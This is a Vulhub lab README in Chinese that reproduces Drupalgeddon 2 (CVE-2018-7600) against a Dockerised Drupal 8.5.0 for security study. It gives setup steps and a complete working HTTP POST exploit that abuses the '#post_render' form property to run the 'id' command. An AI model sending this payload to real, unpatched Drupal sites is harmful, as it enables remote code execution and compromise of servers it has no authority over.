
Vulhub drupal/CVE-2018-7600: Drupalgeddon 2 on Drupal 8.5.0, run with Isoloom
Drupal 是一个使用 PHP 编写的免费开源的 Web 内容管理框架。
在 Drupal 7.58 之前的版本、8.3.9 之前的 8.x 版本、8.4.6 之前的 8.4.x 版本和 8.5.1 之前的 8.5.x 版本中存在远程代码执行漏洞。该漏洞影响了多个具有默认或常见模块配置的子系统,包括 Form API。
参考链接:
执行如下命令启动一个存在漏洞的 Drupal 8.5.0 服务器:
docker compose up -d
环境启动后,访问 http://your-ip:8080/ 将会看到 Drupal 的安装页面。使用"标准"配置文件完成 Drupal 安装。由于环境中没有 MySQL,安装时应选择 SQLite 数据库。安装完成后,即可开始漏洞利用。
参考 a2u/CVE-2018-7600,我们可以向 Drupal 发送以下请求:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
代码执行成功后,id 命令将被执行:
